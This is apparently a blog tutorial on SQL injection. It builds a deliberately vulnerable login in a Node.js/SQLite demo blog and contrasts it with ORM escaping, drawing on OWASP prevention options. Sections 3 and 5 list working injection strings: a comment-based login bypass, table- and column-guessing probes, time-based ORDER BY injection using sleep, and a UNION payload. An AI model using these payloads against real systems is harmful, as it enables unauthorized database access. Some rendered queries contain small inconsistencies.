Web Security 12— SQL Injection

4 min readAug 29, 2020

1. Intro

This is a classic attack type and many developers know this concept already and are aware of how to escape them. I still want to write a special story for this topic, including some samples so that we can know how to construct the most popular SQL Injects. So what is SQL Injection?

A SQL injection attack consists of insertion or “injection” of a SQL query via the input data from the client to the application. A successful SQL injection exploit can read sensitive data from the database, modify database data (Insert/Update/Delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file present on the DBMS file system and in some cases issue commands to the operating system.

So how to prevent them? (Reference OWASP)

Option 1: Use of Prepared Statements (with Parameterized Queries)
Option 2: Use of Stored Procedures
Option 3: Whitelist Input Validation
Option 4: Escaping All User Supplied Input

So in this story, I will

Concentrate demos on Option 4, which is easier with a simple SQL Database like sqlite3.
List some of the most popular SQL injects

2. Query Data by concatenating SQL

Let’s modify our still existing Blog system. Now we change the logic of logging in. Instead of getting User data from a JSON file, we will retrieve data form a In-memory SQLite.

2.1 Create a in-memory sqlite

First let’s add the ORM modules. ( sequelize and sqlite )

"sequelize": "^6.3.4"
"sqlite3": "^5.0.0"

And initialize a table called user, which has 2 columns: username and passwd .

2.2 Add user data

So there is no user information. Let’s add them.

Here we add 2 users: user1 with password user1 and user2 with password user2.

2.3 When verify user and password, get from the database

When a login request arrives, backend will check the data form database.

Here, we use the query method so that we can test some simple injections. Now, let’s check when we login from UI, what will happen.

npm install
npm start

It works perfect. But…

3. Injections!

Now, let’s add injections. What if I input user1" -- ?

Wow, it alerts a success message! Why? Because in SQL syntax, # and -- means comments. So the SQL turns out to be:

select count(*) from users where username="user1" /* ... */

Obviously, the results will be 1 because we can still search for 1 elements in the table.

4 ORM — Option 4: Escaping all

Now, what is we use ORM instead of SQL syntax directly?

Look, ORM will do the escape itself. A ' is added to wrap the input. What if we input user1' -- ?

Even the ' itself , it was escaped. That makes things easier, let along we can use Object Model to handle the database instead of RAW SQL.

5 More SQL injection samples

5.1 Whether it can be injected

user1' -- 
=>
/* select count(*) from users where username="user1'-- */  user1" -- 
=> 
/* select count(*) from users where username="user1"-- */

5.2 Guess table existence

Check whether table users exist or not.

user1" and 0<>(select count(*) from users) --
=>
/* select count(*) from users where username="user1" and 0<>(select count(*) from users) */

5.3 Guess column existence

Check whether a column exists or not. (SQLite need length instead of len)

user1" and 1<=(select count(*) from users where length(passwd)>0) --
=> 
/* select count(*) from users where username="user1" and 1<=(select count(*) from admin where length(passwd)>0) */

5.4 Inject order by

if => 
select * from user where user_id=1 order by 1-if(substr(version(),1,1)=5,1,(select 1 union select 2));
rand => 
select * from user order by 1-rand(substr(version(),1,1)=5);
regex => 
select * from user order by 1-if(1=(select 1 regexp if(1=1,1,0x00)),1,1);
sleep => 
select * from user order by 1-if(ascii(substr(user(),1,1))=114,sleep(5),0);

5.5 Inject limit

select user from users limit 0,1 union select user from users;

5.6 Others

There are many kinds of injection methods. if you’re interested, google it. However, it is a little difficult to demo with SQLite. And knowing the basic knowledge will help use establish a sense of protection and protect whole system which may escape from 80% of the attacks. Enjoy!

SQL Injection

A SQL injection attack consists of insertion or "injection" of a SQL query via the input data from the client to the…

owasp.org

常见的sql注入方式和waf绕过

The thought bloom the bright spark.

sp4rk.win

Where is the code?

brianshen1990/WebSecurity

Contribute to brianshen1990/WebSecurity development by creating an account on GitHub.

github.com

What is this place? Pegg’s Cove, Nova Scotia, Canada